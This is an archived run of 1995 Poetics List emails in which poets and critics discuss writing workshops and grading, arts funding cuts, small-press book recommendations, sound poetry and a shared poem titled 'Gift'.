Re: Stephen Jonas, gentleman
Sat 7 Oct 1995

---

there's lots of interest in Jonas these days. i'm particularly intrigued by his obscure genealogy (similar to Bob Kaufman in that both of them played a large role in keeping this genealogy obscure). in fact will be writing a chapter on him ...someday... also, what do you make of his virulent anti-semitism, so fierce and pronounced that everyone who writes on him feels compelled to address it?--md

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166. **CAROLYN L. FORCHE-MATTISON**
Re: The Art and Poetry Worlds
Sat 7 Oct 1995

On Fri, 6 Oct 1995, eric pape wrote:

> *Carolyn: Great post. I am very glad to hear that you think the structural limitations of the workshop need to be changed. If that _can_ be done, then the historical domination of one type of "official" poetics may end.*
>
> *But let's not underestimate these limitations. Most of them have to do with the dynamics of the classroom itself and are not going to go away by re-arrangingthe desks and assuring everybody an A (a luxury that most of us whoteach only undergraduates are not allowed incidentally -- I just received my third notice this morning in fact that my grade distribution is outside of the department norm.)*

If one chooses to work in the academy, one is more or less committed to working within, while intelligently assaulting, its constraints. I don't advocate blanket "A"'s. Only "active partipants" receive an "A." Such participation

includes extensive reading, the completion of exercises and experiments, collaborative work, written responses to peer work, and a serious commitment to one's own project. In graduate school the A/B grade is essentially "satisfactory," while "C" or lower is not. Implicitly, this system is "pass/fail."

> *I think, historically, that the pressures exerted by administrations to explain what happens in workshops and the pressures exerted by the AWP in the past to compete with other schools, and the pressures exerted by the structure of authority in the workshop haveresulted in the consolidation of criteria that has dominated the official poetry scene for a long time.*

I was away from the academy for some years, and can't claim special knowledge, but it seems that if there is "pressure" on workshop pedagogy, it originates in the traditional, "periodist" English Department rather than in university administration. As so-called "creative writing" enrollments during the '70's boosted FTE and hence saved those departments at many institutions, the usual power struggles ensued. Scholars grew resentful of the presence of writers in their departments because of the perceived ease with which the latter could publish, and hence win promotion and raises. There were also other issues. The AWP has been historically regarded as overly "populist," and disregarded by the so-called "elite" MFA programs, which exert much more force over the poetics of the academy.

> *Have these pressures been eliminated? My concern is that we simply replace the old criteria with the new without fundementally changing the way the workshop operates. To change that, I think we have to re-think workshops. Do stuff like get rid of grades entirely, so that even the threat of a lower grade (a threat which is real to grad students I promise) does not exist. I think we need to get rid of the single instructor as well. Team teaching would seem to me to obviate some of the authority problems, but since I have no experience with that, I wonder what other people think? Also, what do we do about the demands ofthe departmentswhere we work? I'd be interested in any ideas you or anyone else has.*
>
> *Again, I am delighted that this discussion is taking place with someone who has real authority in the AWP. There is hope-----*
>
> *Thanks, Eric.*

Dear Eric, I, too, am pleased to have this discussion. I don't, however, have "real authority" in the AWP. I served as President of its Board of Directors last year, and was able to establish WritersCorps (wherein 57 poets and writers work in homeless shelters, after-school programs, jails, etc. in three inner-city communities), which has now been transferred away from the AWP. I don't expect WritersCorps (which is part of the National Youth Service Corps) to survive congressional budget cuts. I am not sure that AWP is going to survive either. I suspect that when the curtain is withdrawn on a number of perceived centers of literary power in the United States, the little wizard will be visible.

--Carolyn

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167. **kat**
Re: The History of Lies: Derrida @ New School NYC 10/6 4 p.m.
Sat 7 Oct 1995

It would seem that Derrida's talk, along with his recentmeditations on ethics via Kierkegaard, also has implications for the upcoming (?) trials (should they occur and address any other than footsoldiers) at the Hague. One of the problems in trying GENOCIDE cases is that the original UN definitions and the trials at Nuremburg rest on strict notions of individual agency and on admission of guilt by the nation behind the individual. Not all that long ago, 1970, The Civil Rights COngress, which had worked on documents from 1951, presented a charge of genocide to the UN, re: historical and ongoing treatment of black AMericans by US govt. This is recorded in a book called <We Charge Genocide.> The history of the uncessful attempts to launch genocide trials, including the one I mention, might be critiqued by the means or with the tools Derrida seems to be using re: lies and self-deception and Arendt's articulation and inhabiting of these legal/ethical categories. I am saying this rather flabbily, but we all need to think about Bosnia as well as OJ and media obfuscations of the world crises by means of a largely irrelevant trial, etc. Also, it seems that the recent piece by Edward Said in <Nation,> where he notes that the Mideast Peace is another ruse for the ruling classes (something he might have noted decades ago!!), is part of the same practical and theoretical stew we are stirring--no simmering in. There are many threads of careful analysis and meditation that seem in one way or another to tie into the questions arising from ethical crises that it would be a shame to fall for facile battles among the proponents of this or that school of cartography. I have been hearing that there is a need for opening doors, work places, workshops, borders. True. There are dangers well worth risking; these are exciting times, and it matters that even the most hermetic ethical thinkers are bubbling over with (dare I use a retro word) relevance. There are stunning new revelations about relationships between X and politics. These revelations are not stunning to Blacks nor to some Others. So. . .

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168. **Aldon L. Nielsen**
Re: the workshop and the outside
Sat 7 Oct 1995

"So baby, baby, don't panic--
 I'm a shade tree mechanic."
 --Z. Z. Hill

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169. **Burt Kimmelman**
Re: oj can you see...the glove
Sat 7 Oct 1995

---

okay

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170. **Burt Kimmelman**
Re: The Art and Poetry Worlds
Sat 7 Oct 1995

Eric,

Outside of the normal distribution of grades?!! Yikes, am I glad I don't work at your school!

Burt

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171. **Burt Kimmelman**
Re: The Art and Poetry Worlds
Sat 7 Oct 1995

Just a footnote to Carolyn's latest post: Not only are literary presses, magazines and writers being adversely affected at the federal level, but at the state and local levels too. (this of course is obvious to all but i mention it anyway, if for not other reason then to lick my own wounds). For instance, Poetry New York (of which I am a part) has been "zeroed out" by the New York State Council on the Arts. i won't go into the reasons that were given for this action, but i will report that i have learned through candid conversation with the people responsible at NYSCA that my mag was one of seven and that there will be many more to follow. incidentally, PNY will continue to publish annually.

Burt Kimmelman

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172. Rod Smith
Re: The History of Lies: Derrida @ New School NYC 10/6 4 p.m.
Sat 7 Oct 1995

---

kat wrote:
>There are dangers well worth risking; these are exciting
times, and it matters that even the most hermetic ethical
>thinkers are
bubbling over with (dare I use a retro word) relevance. There are
>stunning new revelations about relationships between X and >politics.
>These revelations are not stunning to Blacks nor to some >Others. So. . .

Would be interested to hear more about how you think all this might shake out, &/or what people can/should be doing to shake it in useful directions. Of course resources are being withdrawn as these questions (reflected not only in the Derrida posts but in several recent strings) are coming to the fore. . . --Rod

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173. Steve Evans
Bien Pensant Pinking Shears
Sat 7 Oct 1995

Not that the happy thoughts seem so prevalent now that acquiescence gives itself out as grim realism, but that phrase--"bien pensant pinking shears"--from Michael Gottlieb's impeccable transcript of a pessimistic intellect, NEW YORK (Figures, 1993) names so precisely both a value and a limit for critical consciousness that I had to hang it over the following scattered remarks about recent reading. Some of what follows may be news to some of you, much of it will not be. As a reading list, it's partial & Providence-centric; as a set of evaluations, it's probably inexcusable. Still, I know less and less how to participate in discussions about "generation" except by such particulars....

THE BAFFLER 7 (1995). An 128 page issue ("Twentieth Century Lite: The City in the Age of Information") is out, including poems by Damon Krukowsi, Jennifer Moxley, Peter Gizzi, Rosmarie Waldrop, and David Trinidad. Krukowski, who runs Exchange Change Press along with Naomi Yang, has also been serving as the Baffler's poetry editor for the past two issues. Number 6 (1994) included poetry by Charles Bernstein, Charles Simic, Rod Smith, Margaret Young, David Trinidad, Steve Healey, and Jennifer Moxley. The Baffler, which comes out of Chicago, bills itself as "the journal that blunts the cutting edge." It is also one of the (desperately few) signs of political intelligence in print just now, whatever the generation of origin. $5 per issue; $16 for subscription of 4 issues; correspondence to: P.O. Box 378293, Chicago, IL 60637

Speaking of Damon, 5000 MUSICAL TERMS (Providence: Burning Deck, 1995) collects 17 previously fugitive pieces by this writer and musician (first of Galaxy 500 and now Music Hour) whose earlier chapbooks include FAILURES and PORTRAIT (A VOYAGE TO ITALY), both done in extremely limited private runs.

Burning Deck also recently (mid-September) brought out Brian Schorn's first book, STRABISMUS. The title refers to a pathology of the eye (it's Greek for "to squint") and the book opens with a poem/manifesto "Entering Poetic Blindspots," where Schorn writes: "Let a fatal combustion take place at the core of the retina in order to explode it into a million pieces of useless abstraction. What a joy in the blindness of really seeing the poem at any point before it ever imagined itself in a word to see, to say this completely blind, to know this in the meat of the poem that will never come to the surface of the poem. So we enter from here now, completely naked, completely confused, completely poetic" (13). Schorn is out of the matrix that made Christopher Dewdney, Joel Peter Whitkin, and the Surrealists.

PAUSE BUTTON by Kevin Davies (Vancouver: Tsunami, 1992) is a serious candidate for the single best book of the first half of the 90s. Davies keeps a steady gaze where even Lacan flinched ("The unconscious is structured like a / Shriners' convention") and he does more to deroutinize reflexivity than anyone since Steve Benson scaled back on his performance schedule. The cumulative effect of the many internestled em-dashes, brackets, and sub-brackets in PAUSE BUTTON is to render cognitive forms, more than any contingent content, the basal units of composition. For more recent work, check out the excerpts from DUCKWALKINGAPERIMETER in EXACT CHANGE YEARBOOK 1 (1995; 108-11), from THROB in THE IMPERCIPIENT 7 (1995; 61-67), and from MEANSTREAK in RADDLE MOON 14 (1995; 57-63).

Patrick Phillips has already announced the publication of RUIN, his first book and the inaugural volume of =BFwhat books here on the Poetics List, but I thought I'd second that promotion, well into a fourth or fifth pass through the book as I currently am. The small format (4.5 x 6.25) is custom-scaled to Phillips's linguistic minimalism cum conceptual maximalism and the book is wrapped in a stunning cover photograph (also by Phillips). Phillips lands on my map somewhere in the neighborhood of Monk, Eigner, and Ward, but I suspect he'd chide me for keeping a map in the first place.

Jennifer Moxley's THE FIRST DIVISION OF LABOUR ([Boston]: Rosetta, 1995) and "The Ballad of Her rePossession" (in re:Chapbook #1, 1995) both came out on the same day in late July. The re:Chapbook series is a new venture by poet Beth Anderson. Each chapbook brings together three writers at various stages of their careers (early, mid-, established). Thus along with Moxley's poem, re: Chapbook #1 presents three poems by Angela Littwin and an excerpt from

Keith Waldrop's THE HOUSE SEEN FROM NOWHERE. You can order the chapbook directly from Anderson at 154 Doyle Street, Providence RI 02906; the price is $5.

As we all get set to dive into Object 5 (affectionately referred to in my household as the "total Rodomy" issue, in honor of course of the 25-page Rod Smith feature), it seems worth mentioning that Object 4 (Spring/Summer 1995) was devoted to Robert Kocik's brilliant work AUKSO (GAIN). Where other works strain to produce any one determinate cognitive event, Kocik's pages teem with complex specifics (figured in the work's opening section, "Opifex Makes Oneself by Trial," as van Leeuwenhoek's water drop teeming with animate forms) and Kocik's intellectual project has a sweep scarcely attempted since Olson. Kocik's piece in BLOO 3 (1995), OVERLY CONSTRUCTIVE INDIFFERENCES THEMSELVES (44-53), is an excellent companion piece to AUKSO (GAIN) and both link up in interesting ways to Bruno Latour's theory of "quasi-objects" in the polemic book-length essay on science, WE HAVE NEVER BEEN MODERN (Cambridge: Harvard UP, 1993).

Like Juliana Spahr, who mentioned it several months ago, I've been reading & enjoying Ben Friedlander's A KNOT IS NOT A TANGLE (Buffalo: Meow, 1995) and through it back (appropriately enough) to ANTERIOR FUTURE (Buffalo: Meow, 1993). Friedlander's work over the past 10-15 years is probably one of the main reasons so many people pin so much hope on the lyric and by the same token his unerring sense of how to get mind into line is a standing rebuke to the "bland abstract lyric" as recently diagnosed/thundered against on this list. Dumb luck alone put me in the way of DIM SPARSE and A PINFOLD PENTACLE (1984 and 1988 respectively, and both done David Scheidlower's wonderful, too short-lived Coincidence Press out of Oakland), but since then I've tried to pay attention. Meow books get out via SPD.

a t s u o o o s
 r i a t n m u

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174. Chris Stroffolino

Re: The Art and Poetry Worlds

Sat 7 Oct 1995

I'm jumping in here late(so may be redundant), but Carolyn's def. of "active participation" may need to be questioned on the grounds that while I do agree that the reading assignments should be done, the imposition of collaborations and other workshop assignments may do more harm than good in a long term level (as oppossed to short term). I am operating on a particular assumptiion here--and perhaps generalizing from my own experience which is that I've

never been able to write poetry as well when in a workshop environment than when "on my own" as it were---the pressures of performance, etc and also the particular audience (rather than the faceless(sic) one of not being in a workshop) may present obstacles to certain students--and I think this should be accounted for by workshop teachers---chris stroffolino

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175. **Chris Stroffolino**
Re: Bien Pensant Pinking Shears
Sat 7 Oct 1995

Dear Steve Evans--You put the address on where to get Jennifer's Chapbook, but you did not put the address on how to order the other book of hers-- the full length book...Actually, I can't believe it came out in July and I just found out now...Didn't I visit you in July? Talk about modesty... Anyway---please post the address (please please please) and I will try not to say anything bad about some of your other choices(!)----thanks, chris stroffolino

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176. **Steve Carll**
Workshops that work
Sat 7 Oct 1995

I took a workshop a couple of years back with Leslie Simon at New College of California here in S.F. entitled "Poetry Like Jazz" (which turned out to be a compression of "Reading Poetry Like Playing Jazz.") I'd been hesitant for a couple of years before that about workshops, having taken a couple and spending more time defending my poetics than getting useful feedback on my poems.

We treated the poems brought in to be workshopped as "standards" to be improvised off of, the way jazz musicians improvise off a familiar melody. So one of us would read a poem and hand out copies of it, and the rest of us would go off with the poem for ten minutes and come back with a poem which was responsive in some way to that first one. Instead of ten people using the language of criticism to tear your poem apart, ten people would respond from their source of creativity to your poem as a seed. It was much more a process of affirmation; we'd developed a kind of "group mind" by the end, 11 very individual voices learning how to speak each other's languages.

I'd definitely participate in something like this again.

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177. Eryque Gleason
Re: The Art and Poetry Worlds
Sun 8 Oct 1995

A little bit ago Chris S. wrote:

> *I'm jumping in here late(so may be redundant), but Carolyn's def. of "active participation" may need to be questioned on the grounds that while I do agree that the reading assignments should be done, the imposition of collaborations and other workshop assignments may do more harm than good in a long term level (as oppossed to short term). I am operating on a particular assumptiion here--and perhaps generalizing from my own experience which is that I've never been able to write poetry as well when in a workshop environment than when "on my own" as it were---the pressures of performance , etc and also the particular audience (rather than the faceless(sic) one of not being in a workshop) may present obstacles to certain students--and I think this should be accounted for by workshop teachers---chris stroffolino*

to which I responded:

I'm jumping even later and haven't read my mail for a while so I just trashed the whole pile last night. At any rate, my experience with workshops is pointedly different than Chris', I find that when I'm part of a workshop or work collaboratively, I seem to be much more focussed and productive. In my faceless (is there another way to spell that?) room, I usually write blurry crap, and never finish it anyway. I don't know for sure whether my current surroundings don't lend themselves to an atmosphere in which I can write, or if I need the (slight!) pressure of an immediate audience. At any rate, I agree with you, Chris, that this issue should be carefully attended by teachers. It might be particularly difficult to keep a few people that write well in a workshop environment from dominating a class (paritcularly a small one) if those that do better work outside of the class atmosphere don't share their work. t heck with it might, it is.

_____!_____

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616
[redacted]

If I weren't a monkey, there'd be problems.

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178. Rod Smith
Re: Bien Pensant Pinking Shears
Sun 8 Oct 1995

Steve Evans made the following statement:

> *PAUSE BUTTON by Kevin Davies (Vancouver: Tsunami, 1992) is a serious candidate for the single best book of the first half of the 90s.*

It is my stated opinion that he is entirely correct in this evaluation.

--Rodomy

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179. Blair Seagram
identity crises
Sun 8 Oct 1995

Bill Luoma <[redacted]>

>>All kinds of identity crises available, but -- it's one thing to identify groups of poets >>who seem to share common aesthetic interests, or presuppositions, or questions,, etc. >>-- another thing to grab bunches of poets by the scruff of their
>>birthdate & ask an identity to emerge -- rather like the "Texas
>>Sharpshooter" phenomenon --

Dear Bill:

I'm not sure who you are directing this comment to, but in case it was something I said, let me say this:

I guess it is unfair to ask a group of poets who have come to be known by a specific name to explain that name. Probably if one had asked Willem de Kooning what Abstract Expressionism was, he would have shrugged his shoulders and said, beats me!

My guess is that Language Poetry probably has as many variations as the term Conceptual Art. And certainly if one looks at Barnett Newman and de Kooning in the same breath, it is not all that apparent why they both get defined as Abstract Expressionists. However, in the case of Abstact Expressionism, I think it was a generational thing. I think it has less to do with their similarities than it has to do with a voice that was expressing a broad sentiment in different ways.

In any event I thought your post was very amusing and worth reading twice.

Best wishes,

Blair

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180. Tom Beard
Re: whyld, comfy blue
Sun 8 Oct 1995

Charles,

> *But we do find within smaller groups the ability to say what might be offending to a larger group, and most challenging artists in history at least had a small group of friends/colleagues who supported what they were doing.*

Very true, but one would hope that that support is not unconditional, and that one's supporters were not afraid of giving constructive criticism. I've been in situations where the only response was a pat on the back, "good boy, you've written a poem", and I wished that someone would give my work the courtesy of some serious, rigorous, critical attention. There's also the danger, when a group sees itself as representing some sort of movement, that the members will praise one another simply for using the methods that the group supports, without any attention to whether these methods are being used effectively, or any critique of the basic ethos of the group. These are the connotations of the words "cozy" & "comfy" that I see as being a problem.

> *Perhaps this is*
> *a male thing: we want recognition, fame (some hope!) and the impression that our texts are striding the face of the earth, being proactive and manly*
>
> *Really? Speak for yourself (I know you're being somewhat tongue in cheek, but please . . .).*

I'm beginning to regret this statement (& I'm learning how poorly irony comes across in cyberspace). I know some people who might have reacted to my other statements by caricaturing my position thus, and my ploy of countering an anticipated objection my including it within my statement fell flat on its face.

I still intended to ask a serious question, so perhaps I'll rephrase it. How do people here feel about what readers do with their texts? Do you relish the idea of your poems being (mis)interpreted by readers, perhaps being used as material for responses or found poems? Or do you feel that your poems are precious pieces of yourself, and that when strangers read them this feels like some sort of violation? And do you think that there might be a _tendency_ for the responses to show a division according to gender?

> *Yes, I want people to read/hear the work and even approach me about it, but I can't imagine having no mixed feelings at all about this. The work does span a delicate bridge between/among private and public. When I have given readings where I knew almost noone there (it does happen sometimes, even a*

> *couple of times to audiences of a couple of hundred people), it almost felt like it was someone else standing there, some me/not me, doing the reading. Like the public/private chasm, there is both a sense of identification/disassociation from a finished work, particularly when the writer experiences it in front of an audience.*

Yes, I know the feeling - more than just stage fright. When I get the impression that my work and the audience have little in common (this often happens at open-mike readings) that "me/not me" certainly does take over. I also find, however, that the "private" side of my writing evaporates (or more likely metamorphoses) somewhere during the process experience -> writing -> editing -> reading. This may be more a reflection of my own writing style and the content of my work, but by the time of publication or public reading, I find that disassociation has thoroughly set in, and what was once private becomes almost abstract.

The transformations that occur during the writing process can be really fascinating, and even revealing. I find that what were once ironic personae in my poems become almost confessional, and vice versa. When I read some of my earlier work in new contexts, I often find myself coming to new and even sobering conclusions about myself. Sometimes, when a reader (or friend) responds to my poems, perhaps by saying "that's really sad", or "I like the erotic subtext", they catch me by surprise and make me re-evaluate those poems (and myself). It's a process that I find exhilarating and vital, and it's one of the reasons that I want my poems to be read.

> *I still feel profoundly sad at the fact that hardly anyone other than poets and professional critics reads contemporary poetry.*
>
> *I think it's true that they don't, but not true that they won't; and I believe that if they do, they can respond in unique and intelligent ways. One of my best critics/supporters has been my daughter's German day care mom (tages mutti). I like to think I write for such people as much as for other poets or critics.*

I agree entirely. Part of the answer lies in, as you say, "writ[ing] for such people as for other poets or critics". This need not be "writing down" to them, but involves considering the concerns and tastes of one's intended audience.

> *To do this, the text must answer the reader's question, "why should I create my*
> *own field of meanings from this poem here, rather than this other poem, or this*
> *movie, or this page of the telephone book?"*
>
> *No, it doesn't have to answer that question, it just has to keep the work alive enough to invite the reader to try and answer it (invite being the operative word here).*

I think that this is what I meant. A poem that is alive and invites the reader back has, in a sense, answered this question. "Why should I read this poem?" Because it is alive, and is extending an invitation to me.

We're probably saying the same thing, just differing as to whether it's the poem or the reader that's answering the question.

> *If we are asking readers to put*
> *some work into our poems, shouldn't we offer them something in return? The challenge, as I see it, is to write poems that are challenging, polysemic and subtle, but that have some "hook" that will make the reader _want_ to come back*
> *to the poem again and again. Maybe if I live to 130 I'll write one such poem.*
>
> *I agree, except the word "hook" seems loaded, manipulative. I like to think of it more as a gift.*

Yes, "gift" is a good word. I used the word "hook" (in quotes) as an analogy to the "hook" of a popular song, and I suppose that some might see that as manipulative.

I think of this gift/hook as being some sort of benign textual virus, one that finds fertile breeding grounds within a reader's brain. There are phrases from poems that continue to worm their way through my subconscious, popping up when I least expect them, changing the way that I think, write and feel. They are beautiful.

Thanks for the thoughtful reply,

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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181. Tom Beard
Gift
Sun 8 Oct 1995

Thinking of Charles' idea of a "gift", something that a poem gives to the reader and makes them want to give their attention in return, reminded me of this old poem of mine. Also, poem as gift as virus as hook, "gift" as noun or verb, gratitude vs obligation, gift vs bribe, temptation vs generosity, leading you down the garden path...

Gift

sleep thickens and stops stone at my throat
muttering hints tapping on my sternum, yes

a stone the colour of silence, your hand
cool among the forests of my chest

sunlight fallen earthwards, slow, filtered,
tapu river curling in its bed, volcanic, the skin
of your stone, stones
of my skin shaking, recalling their birth

one stone entwined in undergrowth monolith menhir
reaching sky through sheets and ceiling
burrowing faultlines, tearing ribs

already my bloodstream swells
with tiny stones, beating upstream, stars of light
touching water, rumour of rain through blinds
or wind or train or cars humming filtered
white noise yes, yes your skin a poem
a place to get lost in

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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182. Ron Silliman

Re: wild blue yonder

Sun 8 Oct 1995

You wrote:
>
>Ron,
>
>You wrote: "Similarly, all sound poetry 'says the same thing' and it says it
>over and over."
>
>che cosa?
>
What, in days of yore, we called the surplus of the signifier....

↑ Index

183. R I Caddel
Giants play well in the drizzle
Mon 9 Oct 1995

Someone asked about this magazine/newssheet, yes? As far as I know it's folded (- er - that is, it is no more), Martha King having gone into other publishing ventures, including various chapbooks well-printed on good materials: the latest I saw was a superb one by UK poet Tony Baker called ... yellow blue tibia ...

Martha's still at: 326A 4th St Brooklyn NY11215. Send her large quantities of $ $$ and order the Tony Baker title.

Meanwhile her husband Basil King is just starting a tour of the UK, and will be reading with slides of his work in Morden Tower, Newcastle, on October 20th (a joint Bunting Centre/Morden Tower production).

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

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184. Aldon L. Nielsen
Re: Signifier Surplus
Mon 9 Oct 1995

There's a sale on gift hooks at the local book store!

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185. Aldon L. Nielsen
Re: line & sinker
Mon 9 Oct 1995

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where are the renga of yesteryear?

↑ Index

186. Mark Wallace

I want to help it, but I can't

Mon 9 Oct 1995

I appreciate Gale Nelson's response to some of my recent comments. But I can't, Gale, really agree with what you've said there.

Although poetry may not be a successful mass market commodity (altho some types of poetry come pretty close), there are markets for poetry (several, not nearly enough) and poets are greatly influenced--I don't say entirely controlled--by what the poetry marketplace will bear. A poem may not be a commodity in and of itself, but the moment it is produced, it IS a commodity, however unlike certain other kinds of commodities. So in response to your comments, and admitting some complexities, I'd have to say this:

Poetry IS a commodity.

Poets need tactics. And they use them.

The tastes that "move an editor" are not determined solely in individual isolation, but are greatly shaped by the politics of the production market. The tastes that "move a writer" are not determined solely in isolation, but are greatly shaped by the work they have access to, which is to say, by the politics of the production market.

People who deny that poetry is a commodity are often doing so because they don't want others to have access to their markets, or because they think there's something fundamentally wrong with the very idea of production. As an editor, do you really publish "just what I like"? Or does what one likes tend towards certain kinds of poetry, and certain kinds of poets (people with similar outlooks, aesthetics, maybe even one's personal friends), and are those tendencies not ideological? I think the latter is true, and not necessarily wrong, as long as one makes some conscious effort to articulate where one is coming from. There's nothing wrong with production per se. But what does seem to me wrong is to deny that ideological/cultural/political problems have a bearing on the poetry that any editor--even and especially oneself--publishes. My decisions, as an editor of a magazine, are based on the huge variety of cultural problems that greatly determine my "taste."

mark wallace

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187. Dodie Bellamy
Re: line & sinker
Mon 9 Oct 1995

A. Nielsen writes:

> *where are the renga of yesteryear?*

Dear Al,

Please don't even whisper that hideous 'R' word. Terrible things have been known to have been summoned back from the grave.

Dodie

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188. Edward Foster
Re: Politics and derivation
Mon 9 Oct 1995

---

i have a sense that the passage larry price quotes from after lorca is derived from mallarme and considerations of purity. the formal difference is theological. emerson for duncan was more than metaphor; the key perception is movement. tho in spicer there is mention of reaching out, the key peception is rest. -ed

↑ Index

189. Edward Foster
Re: Joel Oppenheimer
Mon 9 Oct 1995

---

yes, burt, we need someone to take us through oppenheimer; david landrey where are you?

↑ Index

190. Edward Foster
Re: Giants and LIPS
Mon 9 Oct 1995

---

yes, lips is indeed going very strong; laura boss has an issue on its way at present. -ed

↑ Index

191. cris cheek
Re: yonder lies a surplus of the signifier....
Mon 9 Oct 1995

Ron, what are we calling sound poetry under this pithy rebuttal? I like the brio of your take but

To lead you on a little - the following are but a low tech sampling of poets who have deliberately presented work in contexts identified as Sound Poetry:

Bernard Heidsieck (hope you know at least some of his magnificent Poemes Partitions series, particularly Partitions V) / Jerome Rothenberg / Gerhard Ruhm / bp nicol / Steve McCafferty / bill bissett / Franz Mon / Henri Chopin / Jackson MacLow / Bob Cobbing / let alone their earlier twentieth century peers such as Schwitters / Sitwell (and a considerable swathe of those who appear in the anthology just out from Jerry and Pierre's labor of love - I can't wait to begin using that)

admittedly this list could hardly be more beefcake (it could ceratinly be a lot longer), but a surplus of signifiers? I've, also deliberately, chosen a range of practitioners whose work challenges your reductivist take - granted you're probably making one of your usefully deliberate provocative opening gambits.

And to leap from discussion to discussion under the mutating subject heading - isn't this a little like the sense I've read in some more recent posts here that it's possible to write without the presence of politics (with a small p) - even if that presence is signified by its absence - let alone choice of context, conceptual framing, choice of vocabulary, syntactical strategies, formal modes and so on? I would worry about 'sound' poetry becoming too cheaply over-characterised unless again we're talking detail and example. Same with too easy hooks such as 'visual' poetry or 'performance' poetry for that matter.

here's to hearing that paint dry
love and love
cris

↑ Index

192. Shaunanne Tangney
Re: Gift
Mon 9 Oct 1995

On Sun, 8 Oct 1995, Tom Beard wrote:

> *Thinking of Charles' idea of a "gift", something that a poem gives to the reader and makes them want to give their attention in return, reminded me of this old poem of mine. Also, poem as gift as virus as hook, "gift" as noun or verb, gratitude vs obligation, gift vs bribe, temptation vs generosity, leading*

> *you down the garden path...*

i love the idea of the gift. . . i think that a poem is the reality of gift. . . cixous speaks of both the gift and of pure spending. she alludes to the pot latch in which we are made richer by what we give away. pure spending seems to me a headdy concept, full of love and potential. i am always about trying to do it. . . and most especially in my writing. consider also derrida, and the concept of play here--that significance arrises in the play btw. signifiers--this seems to me very close to a gift,as well--something unexpected, but magical, and delightful. . .

h, the gift, the gift! how to at once give and recieve--purely, cleanly, w/ purpose and intent and yet w/ surprise and joy!

--shaunanne

> *Gift*
>
> *sleep thickens and stops stone at my throat*
> *muttering hints tapping on my sternum, yes*
>
> *a stone the colour of silence, your hand*
> *cool among the forests of my chest*
>
> *sunlight fallen earthwards, slow, filtered,*
> *tapu river curling in its bed, volcanic, the skin*
> *of your stone, stones*
> *of my skin shaking, recalling their birth*
>
> *one stone entwined in undergrowth monolith menhir*
> *reaching sky through sheets and ceiling*
> *burrowing faultlines, tearing ribs*
>
> *already my bloodstream swells*
> *with tiny stones, beating upstream, stars of light*
> *touching water, rumour of rain through blinds*
> *or wind or train or cars humming filtered*
> *white noise yes, yes your skin a poem*
> *a place to get lost in*

I/am a background/process, shrunk to an icon. | Tom Beard
I am/a dark place. | [redacted]
I am less/than the sum of my parts... | Auckland, New Zealand
I am necessary/but not sufficient, | http://metcon.met.co.nz/
and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

193. **Ron Silliman**
Re: The South
Mon 9 Oct 1995

A dumb question, but my dictionary is mute on this point. How, dear friends south of the Equator, does one spell "diggery do"?

↑ Index

194. **Aldon L. Nielsen**
Re: verbatim gift from my TV set
Tue 10 Oct 1995

"When people are asked
 what kind of lawn tractor they'd
 like for a gift,
 most say the same thing."

↑ Index

195. **Rod Smith**
Re: didgeridoo lips
Tue 10 Oct 1995

Ron, Not below the equator but gave instructions in print for performance of poems of mine using the instrument-- at least doubly encountered spelling-- "didgeridoo."

Ed,
Cld you post an address for _Lips_?

--Rod

↑ Index

196. Charles Smith
Re: The South
Tue 10 Oct 1995

"A dumb question, but my dictionary is mute on this point. How, dear friends south of the Equator, does one spell "diggery do"?"

Ron,
Liner notes here give both didjeridu & didjeridoo. Take yer pick.

cs

↑ Index

197. Ron Silliman
Yonder
Tue 10 Oct 1995

My friend, Mr. Cheek, writes,
>
>Ron, what are we calling sound poetry under this pithy rebuttal? I like the brio of your take but To lead you on a little - the following are but a low tech sampling of poets who have deliberately presented work in contexts identified as Sound Poetry:
>
>Bernard Heidsieck (hope you know at least some of his magnificent Poemes Partitions series, particularly Partitions V) / Jerome Rothenberg / Gerhard Ruhm / bp nicol / Steve McCafferty / bill bissett / Franz Mon / Henri Chopin / Jackson MacLow / Bob Cobbing / let alone their earlier twentieth century peers such as Schwitters / Sitwell (and a considerable swathe of those who appear in the anthology just out from Jerry and Pierre's labor of love - I can't wait to begin using that)
>
>admittedly this list could hardly be more beefcake (it could ceratinly be a lot longer), but a surplus of signifiers? I've, also deliberately, chosen a range of practitioners whose work challenges your reductivist take - granted you're probably making one of your usefully deliberate provocative opening gambits.
>
>And to leap from discussion to discussion under the mutating subject
>heading - isn't this a little like the sense I've read in some more
>recent posts here that it's possible to write without the presence of
>politics (with a small p) - even if that presence is signified by its absence - let alone choice of context, conceptual framing, choice

of vocabulary, syntactical strategies, formal modes and so on? I would worry about 'sound' poetry becoming too cheaply over-characterised unless again we're talking detail and example. Same with too easy hooks such as 'visual' poetry or 'performance' poetry for that matter.
>
>here's to hearing that paint dry
>love and love
>cris
>
Franz Mon is the one person on that list with whom I'm not familiar. I do in fact almost always enjoy sound poetry (some more than others, with the Four Horsemen very much at the front of the line), but the problem I come up with, like trying to think about a certain kind of enjoyable movie the morning after, is that of "close reading." What would it mean to "close read" specific sound texts and how much would they then differ? Invariably I come up with the importance of sound itself as such as a signifier that transcends sense. What is then made of that transcendance is, it seems, ultimately a wall. Differences between texts tend to be rooted in the source material, which oft times is "found," or in a psychographics of the resonating body. But beyond that? Well, I'd have to be shown. (As always, I'm willing to learn....)

Ron

↑ Index

198. R I Caddel
pens are too light (fwd)
Tue 10 Oct 1995

A rare example of audience overlap: I sent this one to my European Information cronies and then thought the Poetics crowd might like it too... Of course, the ultimate minimal text is the British constitution (0 words) - so much easier for the police to administer...

---------- Forwarded message ----------
Date: Tue, 10 Oct 1995 11:45:37 +0100 (BST)
From: R I Caddel <[redacted]>
To: eurodoc <[redacted]>
Subject: pens are too light

Note which appeared in the UKRHEEO office in Brussels (thanks to Carl Woolf) :

The Ten Commandments	130 words
Sermon on the Mount	320 words

